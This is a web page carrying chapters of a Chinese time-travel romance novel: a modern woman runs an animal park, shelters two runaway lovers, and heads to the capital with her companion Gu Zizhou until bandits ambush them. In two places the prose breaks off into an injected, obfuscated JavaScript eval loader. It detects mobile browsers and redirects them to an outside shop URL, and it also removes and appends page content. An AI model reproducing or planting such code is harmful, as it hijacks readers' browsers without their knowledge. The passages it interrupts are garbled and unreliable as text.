红唇微微弯起,窈窕身段,再联想昨日步步生莲的舞姿,娇媚无边。 苏卿卿只好暂时咽下一肚子问号,摆了摆手,先行回应道:“不必拘束,我叫苏卿卿,他叫顾子珘,共同经营这动物园子。” “嗯,她是园长,”顾子珘抿了一口水,安之若素道,“我是帮工。” …… 说的倒真是实话,不过怎么总有种这人怪记仇的错觉。 梁馨儿凝重的表情终于生动了些许,她深吸一口气,满眼惊讶:“女子做生意,还是排布这偌大的天地,姑娘好生强量!” 苏卿卿没反应到这个层面,闻此言才想起来自己穿越前看过的古频内容。 虽然眼下已经远离那个追求所谓的女子无才便是德的愚昧时期,可女子从事经营管理主要工作的还是在少数,不过自打她做了决定,无论村中家里人,还是眼前这位机缘巧合下扯上联系的搭子,都没有对此表露出奇怪态度。 好幸运。 苏卿卿努力克制住自己上扬的嘴角,故作严肃:“这件事看上去难,实际上你若自己试试便会发现根本不简单。” 林书:? 梁馨儿:? “开个玩笑,活跃气氛,”苏卿卿站起身,眯着眼睛伸了个放松的懒腰,“想做什么不顾后果去做,这一点你们跟我其实也是一样的嘛。” 说完,她转身看向乍一见感觉不搭,细品却又很般配的两个人,昨夜潇洒逃走一定是没有考虑过多才会落得现在的局面,她倒不是恨铁不成钢,毕竟果断决绝是最需要勇气的。 这两人,一个粗心大意的呆萌书生一个风情万种的多疑美人,究竟经历了什么才会共同做出逃出城这满是风险的决定? 林书面色微红,不好意思地揉了揉后脑:“我们昨日出城登记时随口扯了个谎,没成想那钱氏的人买通守卫,顺着记录找到了不远处的村子里。” “买通?”苏卿卿想不明白,转身看向顾子珘,“我们最后不是提了一句让那家伙不可追回他们俩吗?” 顾子珘想了想,解释道:“很明显,其他事情皆在咱们眼皮子底下……亦或是咱家狸猫的眼皮子底下,只有这件事我们不可能随时注视,因此成为他气急败坏,最容易叛逆反抗的点。” 行吧,苏卿卿心想,这倒是符合那钱氏小肚鸡肠的气量。 “原来两位还为我们做了这些,”林书忙鞠躬道谢,“可惜马车老旧,提速无果,我们被前后夹击,周旋了半天,实在没办法才投靠到这园子背后。” “为什么不登记得再远些?”苏卿卿问。 “路远无轻担,因此我们准备的东西不多,那人问话的时候,我才反应过来就算是做做样子也不能连食物都不富裕啊,于是只好说了个稳妥的地点,好消除疑心。” 苏卿卿“哦”了一声,她想起来了,进出城确实需要一定手续的登记流程,不过这对从现代社会穿越回来的自己来讲颇为复杂,容易出岔子,所以后面几次都是顾子珘搞定的。 想到这里,她瞄向立在一旁的人,不明显地用眼神询问这两个人身份有没有疑点,得到否定回应后才松口气。 “那二位打算何时离开呀?” 此话一出,林书和梁馨儿你看看我,我看看你,后者使了个眼色,随后不出一秒林书麻利起身原地凌乱:“我们离开这就……我们这就离开!” “诶诶,怎么跟我赶你们走似的,只是问一下你们的安排,”苏卿卿叹口气,看来这两个人真是全无安排,“嗯,你们可以先在这里歇歇脚,外面的雨貌似又小了,不过即便如此,一会儿开园来的人也不会很多,放心。” 放心,在这里躲人的不止你们两个,只是这后半句话她没说完。 林书开心溢于言表,刚要鞠躬感谢就被梁馨儿揪起来带着警惕心反问:“姑娘为何不问我们两个……” “我问那干什么?”苏卿卿心说自己可不想吃狗粮,快刀斩乱麻砍掉梁馨儿所有话音,“难不成想跟你们交朋友还必须知道二位那如同比翼鸟和连理枝的过去吗?” 她无视掉这愣在原地的两个人,对一反常态、端着茶杯不品而若有所思的顾子珘说:“咱们备用的伞收到哪里去了?我去多拿些出来。” 伞顶灵活移动在小道上,湖泊水面的圈圈点点被风吹得挤去同个方向,左密右疏,灰色的云压低天空,时不时打闪预警。 幸好大门内的告示牌有个曲面雨棚,把大家的留言全全保住。 板块排布自然分割出一条银河,左边的是来自人们对于动物园真心实意的评价,右边同样是对这片天地真挚的期待,只是中间不知是谁率先于最上方写了一条【今日湖边散步见到苏园长与高公子并肩行走,郎才女貌真真是般配!】 下面垂直跟了三四条赞同撮合之流,然而这风气并没有被助长,反而中道崩殂,被一条颜色暗淡的布条横刀切入。 【不对,苏园长与顾公子更为相配。】 一句话成功激起人们爱凑热闹的本性,下面又跟了数张布条。 【顾公子是谁啊?】 【不认识,应该比不上高公子吧。】 【是不是今日晕倒的那位帅哥?】 【那倒是有的一比!】 【都配都配!苏园长两个都收下吧!】 【上面这位游客莫激动,请自重。】 …… 苏卿卿看得眼都直了,没想到自己疑似无意间开创了论坛古代版,还有不少人搁这“盖楼”,还盖得挺高! 咳、楼爬完了之后她还是很快抽离出来恢复营业模式,等顾子珘凑近想看的时候还张牙舞爪地拦了下来,最后使出转移注意力大法。 “没什么好看的,走啦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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想到昨天“狐狸断尾”的表演,红伞丝绸与中奖纸条满天飞花的视觉震撼还历历在目,不用猜都能知道钱氏定是想不出那么绝妙且富有美感的点子。 论舞台设计,眼前这两个人是专业的。 - 直通桥梁还未建成,四人乘船来到水榭前。 原本忙碌的开园日就如此愉快地变成了内部实践会议,俗称团建。 水榭台基垫高于水面两三层,两侧有恨天高的攀登台阶,其上无门无窗酷似大号凉亭,红柱周环红栏,下端是枣红色砖雕蝴蝶图案,台基四周略微宽出用于上下船的踏面。 “怎么样,在这地方表演可否比戏班通透敞亮?” “我说帮你装饰,”梁馨儿抬头仰视,见这大场面没有激动反倒拘谨起来,“可没说跳舞啊。” “你跳舞那么好看,天赋异禀啊。”苏卿卿说完觉得确有不妥,又凑近小声问,“是不是这样容易让你回忆起不好的事?” “没那么严重……” “那是为何?” “……之前蒙着面纱。” 苏卿卿一时无语:“不是吧,美女,你没照过镜子吗?回头我送你一面。” 对话间船舶停驻,梁馨儿先是一愣,随后没忍住笑了起来:“想我跳也可以,不过你也要跟我学。” “我不不不行,”苏卿卿一脸你不要过来啊的表情,“我肢体不协调啊!” “不打紧,来试试。” 无所谓,有点累。 好在没外人,就连动物们都各回各篷了,眼一闭心一横,丢人也丢不到哪去。 苏卿卿从小到大只登台表演过一次,还是公司年会的时候为了参与红包抽奖生硬地上台唱了首歌,具体叫什么名字都不记得了,大概是太尴尬自动屏蔽了这段该死的记忆。 细雨绵绵,两位衣裙飘飘的姑娘一前一后跑上高台。 林书视线从远处移到近处,深觉自己的存在已经被顾公子彻底忽视,或者说这人的眼神一直只看向一处。 “慢着,”顾子珘忽然开口,“园长不好奇,但我还是有些好奇的。” 林书刚坐下来,还没反应过来,疑惑问道:“什么?” “林公子与梁姑娘的故事。” “……” 咳咳!林书呛得够呛,没想到这顾公子看上去与世隔绝,好奇心还是挺重。 两人没有下去打扰那对姐妹,安然坐在船上,在顾子珘淡淡扫视下,林书绷不住太久,索性如竹筒倒豆子全都招了。 故事曲折离奇,好在结局不坏。 青梅竹马生出爱慕,女孩热爱台前受瞩目的舞蹈与家人大吵一架便只身从京城跑到县城,男孩碍于赶考没有第一时间陪伴,时光流逝,初心不改,最终再次相遇,幸而两人变了的只是外在。 顾子珘听完故事叹了口气,表情说不上是羡慕还是落寞。 林书了然于心,仿佛看到自己当初的模样:“看来顾兄还处在不知喜欢为何物的阶段啊。” “哪可能不知,”顾子珘微微皱眉,“装得而已。” 远处苏卿卿拎着裙子终于踏上最后一截台阶,弯腰累得气喘吁吁,擦了擦额头的汗,幸好这里不需要游客攀爬,不然休闲都要变成修行。 高处不胜寒,空气凉嗖嗖的,但心情开阔了不少,站在围栏内向下遥望,见那船上两人面对面而坐,她想,也许男孩子们有自己的悄悄话要说。 “不愧是顾兄,顿悟得很快。” “……”那是自然。 顾子珘伸手够茶壶,一串纤细红绳从袖口脱落至手腕,他抽回手,盯着看了会儿,眼神带着爱意隐晦变幻。 这是药瓶上瓶颈位置绑的红绳,他一直当做平安绳戴着。 阵阵舒缓的风吹过,略微回忆便能记起当时小巷初遇时苏卿卿的手比药瓶还要冰凉,傻孩子什么都没问竟直接施以援手。 其实那晚情况远比表面上的严峻,他本处于放弃边缘,便没有交代任何护卫,只想着大不了同归于尽,没想到寸草无生的主路半程出了个美丽的岔路,他也没有犹豫地转变方向。 眼下暗中随着自己的这名手下也是那日脱逃成功后才主动叫来的。 顾子珘一边想一边摩挲发暗的红绳。 哦对了,还有昨夜失眠的时候,他也是如此。 细细的红绳竟能遮住眼前画面,朦朦胧胧红色转黑,黑色转白,随后在梦中遇见一只翩翩飞舞的蝴蝶,将他引导到一处花树下。 顾子珘先行一礼,坐在花园石头上,接着听蝴蝶讲了一整夜关于苏卿卿的不知是真是假的故事。 早上醒来时豁然开朗,连雨声都显得极为美妙,原是自己初遇时早已猛烈心动,第二次是意料之外的心跳停一拍。 再往后,便一直,一直静默地喜欢着。 “诶,雨停了!”林书道。 雨过天晴,金色阳光洒落,周遭景物熠熠生辉。 苏卿卿还在认真跟随梁馨儿的步伐,扬臂转圈,身上的红色衣裙飘飘,看呆了顾子珘。 17. “踏雁之行” - 转眼春深。 茶香氤氲,直棱窗外花光柳影随风飘动,其轮廓投射在地面上倍添画意,肆内空地疏落有致的怪石装饰也是另一种意义上的猫爬架,供猫咪锻炼磨爪。 为了让游人的体会更上一层楼,每个桌面正中央都设有小炉焚香,以此营造安养于心的氛围感,除此之外,细高瓶简约插花,草木味道真是不可言状的清雅温和。 四人围坐在茶肆的圆桌旁。 林书与梁馨儿坐在对面,前者身穿米白长袍又将头发束起多了几分少年气,不过鼻梁上的黑圆眼镜框架还是将他书呆子本质败露无疑。后者眉眼浓郁,丹朱艳唇,玄紫色绢纱长裙蕾丝钩边,双手托脸出神的样子放在现代也是能登上热搜榜前三的级别。 关于位在榜单首位的……苏卿卿瞥了一眼坐在自己左侧的人。 顾子珘,蓝色水墨长袍,领口绣着银丝边点缀,腰间缀着【珘】字纯白玉佩,整体看去干净透彻。他肩背宽阔,带着不怒自威的气场,然而眉头舒展神色自若,微微下垂的视线温柔沉定,淡雅如斯。 桌面摊开的是苏氏动物园自开园以来记录在册的账目,条理清晰,细致入微,旁边还配着一条直观的表格,内容是条平直且起降幅度不明显的直线。 再抬头看,桌前立着一块比人还高的木板,两张长方书纸被铁钉固定在板面上,上面已画出不少毛笔痕迹,打眼一看称得上是面近乎齐全的游园攻略。 照夜清游园自从收编钱氏马戏团,以危险性动物表演博取眼球,生意如日中天,被誉为眼下最具人气的休闲场所,它主要分为两个区域,小园区位于县城,大园区位处京城。 前不久具有完成任务条件的小型动物们谨遵苏卿卿的叮嘱,不紧不慢搭乘顺风车在京城呆了数日,吃食方面由顾子珘的一位开包子铺的熟人来照应。 估计是包子太香,亦或是京城太美,三天前的傍晚小分队才陆陆续续回来,毛茸茸的身形在实诚老板的投喂下皆圆润了不少,干劲十足的小家伙们打探出来的结果也还算全面。 照夜清小园区已然关闭,这一点能猜到,因为最近动物园的生意产生了一定的回温,不过对方重心转移后的大园区来势汹汹,再加上之前扩散出的名气,很多人宁可降低频率上京游玩,也不会多花银钱光顾近处等级略低一筹的动物园。 苏卿卿听到意料之内的事情,情绪不降反涨,商场如战场,如此才刺激嘛。 这些杰出贡献的动物们奔劳多日,头两天呼呼大睡,现在精力完全恢复,正站在外面亭子里被其他伙伴团团围住,绘声绘色讲解京城里的风貌与趣闻。 三只快乐小狗在顾子珘的提议下弃远从近,奔向县城小园区。 白鸽与猫咪两条队伍则偷偷溜上车队前往京城。 体型小且武力值不高的它们能力自然有限,不过事先接受了苏卿卿的言传身教,纷纷长出心眼子学会如何智取。 声东击西、调虎离山、偷梁换柱等计策尽数使出,耍得门卫团团转,奈何对方基数过大所以空窗期不会超过半柱香。 最终还是帘窥壁听一招最为好使,从小厮茶余饭后的闲谈中得知钱氏自打上次夜戏班的事情发生后,便暗中搜集了苏卿卿的信息并告知所有守卫密切关注,遇到此女要第一时间禀报。 正因如此才需要思考对策。 苏卿卿将袖子挽到手肘,手举毛笔回过身来,明明面前有三个人,却只有一双好看的眼睛直视着自己。 专注,又不那么专注。 另外两个人这段时间帮忙把控动物园细节布置,在资金有限的前提下也达到了效果最大化,双双累到质壁分离。 林书听着听着便神思飘忽,困到不停点头,一旁的梁馨儿皱眉盯着他,却也无奈地伸出手半托着对方的脑袋。 “……”刚刚对于把他俩留下来的那丝庆幸已经消失了大半。 苏卿卿放下笔,边用布擦着手上的墨迹边道:“林书,馨儿,我们要出门两三天,还需麻烦你们帮忙照看未开放区的工程。” 说是这么说,但其实动物园在昨日便结束了全部建造,如此可喜可贺之事,他们还请匠人们免费游玩吃住一天。 花费的时间不算久却也不短,秉持接近自然的主旨,这里正式的房屋建筑并不多,舞蹈水榭连同拱桥是最具标志性也是复杂程度最高的景点,其他都是类似猫猫茶肆这种小店面。 目前剩下收尾工作,千里之堤溃于蚁穴,收尾也是决定质量的重中之重。 苏卿卿原想亲力亲为,但因为竞争对手实在强大,目前收支处在危险边缘,再不出手探探对方的底就快养不起大家伙儿了,前期还能靠系统任务的奖励金币维持,但后面最理想的状态还是动物园能够自行处于营收平衡。 林书听到自己被点名,上身腾地坐直,马上打起十二分精神:“园长放心,包在我们身上!” 苏卿卿简短地“嗯”了一声,扬手将板子上的两张纸摘下来,一片有关出行计划的给顾子珘,一片有关动物园经营的给梁馨儿,其上分不同模块标记清晰,就算是门外汉拿在手里通读一遍也能悟到几分。 随后四人分头行动,苏卿卿走出来意外发现自己这边都散会了,动物的小会竟然还开展得热火朝天,在好奇心作祟下挪步过去蹲在老虎旁边偷听了一会儿。 正津津有味,微风拂过,身后的阳光被一道上前的影子遮挡。 她马上起身,状似深沉地对动物们交代了两句防火防盗等注意事项,然后拉着顾子珘的袖子回去收拾行囊。 黑猫呲着牙打了个哈欠,也想着赶紧散会回窝补眠,直接出声打断越来越夸张的话题:“你们看,那柳树是不是开花了?” 动物大多不善于保持注意力,仅此一句简单的话就能齐齐转移,大家脑袋瓜簇在一块儿抬头望去。 那柳树开没开花不知道,反正枝条后面的两个背影看上去比花还娇嫩。 孔雀抖动两下羽毛,眯起眼睛道:“你们有没有觉得最近那姓顾的有点……” “怪。” “古怪。” “不对劲。” “这回路远事多,咱们谁都不跟着,还是有点不放心。”小黄狗说着望向刚刚落在长颈鹿背上的鸽子。 鸽子灵动转动脖颈,展开双翅:“我去传个信,叫路上多几双眼睛盯着点。” …… 京城想必比县城更热闹,公子哥大小姐齐聚街市,文人雅士也相伴出行赏春,正所谓输人不输阵,衣服要挑选考究的样式,苏卿卿捶了捶后腰直起背后只觉一阵眩晕,耳边平白生出似有若无的鸣响。 系统滋滋两声,然后安静,又滋滋两声,像是一根鱼刺卡入喉咙不上不下让人难受。 “你想说什么就说。”苏卿卿忍无可忍。 【经检测,照夜清游园并不触发苏卿卿位面线上的任何任务,也没有金币奖励,为何宿主执意要去。】 “还能为何,为了赚钱啊?以不当手段挡我财路者。” 【?】 “我杀杀杀!” 【……】 苏卿卿口嗨得正欢,梁馨儿怀里抱着狐狸走过来站在外面敲了敲房门,听到回应后迈入门槛。 “怎么啦,是那纸上有地方没有写清楚吗?”苏卿卿熟练地给包裹打了个结,转身走到小书柜跟前抽出两本《经营之道》递给旁边的人,闲闲道,“喏,书借你。” 这几日已经被迫阅读一柜子书籍、差点过犹不及变得不认字的梁馨儿一头撞在柱子上,连忙推开眼前的书:“哎呀不是这个!” “银子已经给你们留出来了。” “也不是这个!” “那,”苏卿卿反问,“还有什么没想周全?” 梁馨儿呆在原地,眉头不皱反舒,扶额摇头道:“卿卿,都这时候了……”她一时间语塞,深吸一口气将所有无奈化成四个字,“你心真大。” 苏卿卿没听懂,暂且当这话是在夸奖自己了,把书放回原位后将狐狸抱过来检查已经痊愈的伤口,就势坐下喝水休息。 “此次出门,名义上是打探游园情况,”梁馨儿俯身压低声音,“实质上就是你与顾公子培养感情的踏雁之行呐。” 噗!咳咳咳。 这口上好的茶终究还是糟蹋了。 反倒是梁馨儿越说越来劲,见这人油盐不进,最后干脆坐到苏卿卿旁在她耳朵边苦口婆心:“经过我这几日的观察,顾公子满心满眼皆是你,照顾你就像是刻进骨子里一样,可比林书那榆木脑袋强。” “怎么照顾我的?” “你看看,这就是当局者迷旁观者清啊!”梁馨儿笑了笑,“前几日你忙得连轴转,顾公子每次遇到我第一句话问的准是''卿卿在何处'',后来不用他开口我都知道该答什么了。” 苏卿卿“害”了一声继续低头撸狐狸:“就这个啊,估计只是觉得迎面相遇不打招呼会尴尬,对你随口一问,再者说了,我也没见着他呀。” “……”梁馨儿心里干笑两声,就因为你这么傻,人家才暗恋啊暗恋,都有点心疼顾公子了。 “那玩游戏的时候,你在和你不在,他简直是两个状态,你是他胜负欲的开关呐。” “巧合而已。” “还有你抹的药膏都是人家买来的,那伤口不用药都快自行愈合了,也只有他那么紧张。” “这不是你和林书不能出去嘛。” “我怎么就跟你说不明白呢?”梁馨儿硬着头皮决定拿出压箱底的绝招,接着道,“你总是趴在窗前桌子上写到睡着,所以每晚他在睡前都习惯性走过来检查,把你抱到床上,再帮你关上窗户,这行为总归是说不过去了吧!” “这倒是……” “怎样?” “我说怎么这几天热出我一脑门子汗!等等,你晚上不好好睡觉过来看他关窗户干嘛?” “我睡得晚,喜欢散散步不行呀!” 苏卿卿眨眨眼:“好吧好吧,别着急啊。” “……” “怎么不继续说了?” 梁馨儿叹口气觉得自己仿佛老了十岁,摆摆手,哑着嗓子:“累了,你没救了。” “哎哟瞧把美人愁的,那就先不救了,”苏卿卿没心没肺一笑,搂着人胳膊往里走,“来来,先用你的好眼光帮我搭配一下衣服。” 这话题是成功晃过去了,但事后苏卿卿认真回忆,最近几日顾子珘的行为确实微妙的反常,种种活像个花孔雀的改变也是在林书和梁馨儿加入的那天发生的。 她没多想,或者说是想多了。 当时还以为是顾大师对馨儿有意思,这花孔雀的羽毛才隐忍着似展非展,苏卿卿本打算抽个时间开导一二,没想到竟然是自己走歪,还歪得挺严重,变成了电视剧里通常存在的没有眼色的白痴配角。 “哎,真可惜,机灵古怪视财如命女园长和身无分文人淡如菊气宇轩昂男帮工,多配啊~” 姐,你先看看这些词是能组在一起的吗? “时间不早该启程了,”苏卿卿忙转移话题,向门外长廊另一头张望,“他怎么还没收拾好?” 梁馨儿翘着腿哼声道:“你不把握机会,当心后悔。” - “如何才能把握机会。”顾子珘平静发问,随后将收拾好的东西摆在桌面上。 林书将手放在下巴上,两条腿歇不住来回走动:“表明心意!啊不行不行,太贸然了。” “不急,”顾子珘道,“不一定要让她发现才算是把握住了机会。” 林书一愣,心说真是皇上不急太监急,你再这么慢节奏,那高公子在告示牌上的地位马上就要反超过去了! 云朵于微风中缓缓偏移,阳光趁机倾洒下来照出万物清亮如新,影壁上的图画终于不再是萧条冷枝,两只蝴蝶翩翩穿梭于绿叶花丛间,生机灵动,空气中满是幽幽香气。 苏卿卿三步一回头:“不管什么情况先顾动物,按照我写的做就没问题。” 林书怀里抱着那卷成筒子的经营规划:“二位放心,这么长时间早已耳濡目染。” 梁馨儿没说话,只是投以意味深长的眼神,苏卿卿朝她翻了个白眼,赶忙催促顾子珘转身向外走,嘴里还在叽里咕噜说不停。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091489|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炊具…” “提前放到车里了。” “水袋。” “刚刚灌好。” “对了,还得带些药,以备不时之需。” 顾子珘点头:“都带好了。” “就知道你靠谱,”苏卿卿嘿嘿一笑,指向自己的包,“我只带了笔墨纸砚。” “这个猜到你会带,我就没拿。” 两人边说边向外走,声音也越来越小直至听不清晰,站在后方的另外两个人只觉得心力憔悴,相互依靠,重重叹息。 “怎么样?”林书问。 “毫无进展。”梁馨儿答。 两人相视,突然笑了起来。 那二位救命恩人平时雷厉风行头脑清晰,到了这问题上一个揣着明白装糊涂,一个是压根不明白,也就只有旁人能明显意识到,他们并肩而行的时候有一种彼此都很心安的感觉。 - 车轮在竹林小径中晃动向前,“嘎吱嘎吱”的声音由远及近。 奔赴京城需路过一片山林,明媚春光透过层层枝叶在车厢顶部落下金色斑驳,耳边不时传来清脆婉转的鸟鸣声与竹叶簌簌声。 前室的车夫带着藤编草帽,单手拽着缰绳,另一只手不去拿鞭子反而自然搭着。 原本他们可以直接使用动物园中【小马交通】的无人驾驶马车,但想到自己的名气应是还没有传到京城中去,此次任务比起光明正大打广告更多的是暗中行事,不能过于引人瞩目,于是还是雇了一位车夫操纵。 当然,顾子珘出于安全与方便考虑,直接让暗中随行的手下前来充当。 车厢空间不算小,主打简约大方,雕饰花纹并不繁杂的座椅矮桌与一个竖柜透着淡淡木香,前日里苏卿卿在帮忙拆除围栏隔板的时候不小心扭伤了腰,现下身后正好多了两个柔软的靠垫护着。 风顺着车窗涌入,她抬眸看见顾子珘正望着远山出神。 这身水墨长袍真真适合他,外在超脱冷秀,实则内里如晕染开的纹路般令人捉摸不透,姿态慵懒面容却不见疲色,深邃的眼睛里能看到的风景像是与旁人完全不同,修长且骨节匀称的手指无意识轻轻置于桌上,摆在一旁的藏蓝色帷帽也不时浮动。 苏卿卿心中升起一丝疑惑,这人为什么宁愿重新全副武装也要冒着风险跟来呢?梁馨儿说的话突然出现在脑海,但很快被她将这不正经的想法挤了出去。 “京城人多眼杂,有备无患。”顾子珘像是余光察觉到,主动摊牌,“不碍事,游园距离城中心较远,况且我们此次也不会久留。” “好吧,两个人确实要比一个人靠谱些。”上次戏班的事情已是充分说明。 苏卿卿心不在焉,她是一个习惯提前考虑多种突发事件的人,正所谓不打无准备的仗,但这次确实是被游园占据绝大部分精力而忽视了顾子珘的危机,得细细想出Plan BCD以作补偿。 耳边听得飒飒声,路上愈发颠簸。 车身晃动幅度也越来越大,就算是久经地铁与公交锻炼的苏卿卿也实在受不住,晕车的感觉直冲脑门,她阖着眼强忍着胃里翻江倒海,双唇紧抿想着再忍一小会儿就好了。 “停车。”顾子珘道。 “不用。” “不急,我们不需要赶路。” 苏卿卿这一段时间都没能好好休息,作息规律乱成了麻团,她面色不佳,待车停稳便马上下车大口呼吸空气平复。 顾子珘也带上帽子走下来,朝手下挥了个手势,后者立马意会,右手握住腰间剑柄站在车旁谨慎地查探四周情况。 他们目前所在的蜿蜒小路比较偏坡,但好在后面汇入平坦大道便会稳当不少,远处云山飘渺,近处怪石参差,竹影婆娑,像是一处远离世俗烟火的净土,视野内一片护眼绿意。 苏卿卿放下水袋擦了擦嘴,捏着胃口的爪子终于松开,灵魂附体缓和了不少,她回身就要开口说话,"可以继续走"的前两个字刚说出口。 猝不及防间,肩膀被人轻柔揽过,一支断箭几乎擦着顾子珘的小臂,将将没有划破衣服,咚的一声,向后直直扎在竹竿上。 她还没反应过来发声了什么事,只觉得身旁的人气息很不对劲,就好似一向松弛的弓突然紧绷起来,隔着帷帽看不清眼神也能察觉出这明显的箭在弦上不得不发的紧迫感。 很快脚步声从四面八方而来,二十多个手握长刀短箭的劫匪快步靠近,他们穿戴粗布衣帽,身形魁梧,皮肤黝黑,脸上堆着邪恶的笑意,像是兴奋于自己终于拦上一回有钱的过路人。 “上车。”顾子珘对苏卿卿道,又恢复了平静的语调。 不知是不是错觉,他方才盯着对方头领看了有一会儿,然后居然松了口气,视线重新落在苏卿卿身上,还有时间左右查看人有没有受伤。 “那你呢?” “我来驾车。” “?”那……那车夫呢? 这话没来得及问出口,劫匪好似对这种忽视他们的态度极为不满,带头的那人打手势进攻,一时间响起所有武器出鞘的声音。 苏卿卿低头弯腰躲飞箭,临到车里还是抽空顺着窗户向外瞥了一眼不远处以一敌多的战场,车夫动作迅速果断,身影敏捷没一会儿就已放倒三人。 想到这人是顾子珘找来的,有些功夫傍身也不是什么意料之外的事。 她的心里闪过各种猜测,表面上便没了声息,一路上的寂静更是衬托出某种不可言状的氛围。 直到晚上,苏卿卿身心俱疲在车内睡着,顾子珘坐在外面的石头上闭目养神,手指置于膝上不时点动。 指尖动作停滞时,车夫才从燃烧的火堆后出现,淡淡血腥味所剩无几,衣服整齐利索毫无打斗痕迹。 他拱手示意:“大人,只是普通劫匪,没有特殊身份。” “嗯。”顾子珘应完突然一笑。 手下不明所以,小声问道:“怎、怎么了?” “没事。”顾子珘摇摇头,扬眉望向不远处的马车。 “也许,快要瞒不下去了。” 车内的苏卿卿眼睫微动,闻声缓缓睁开眼睛。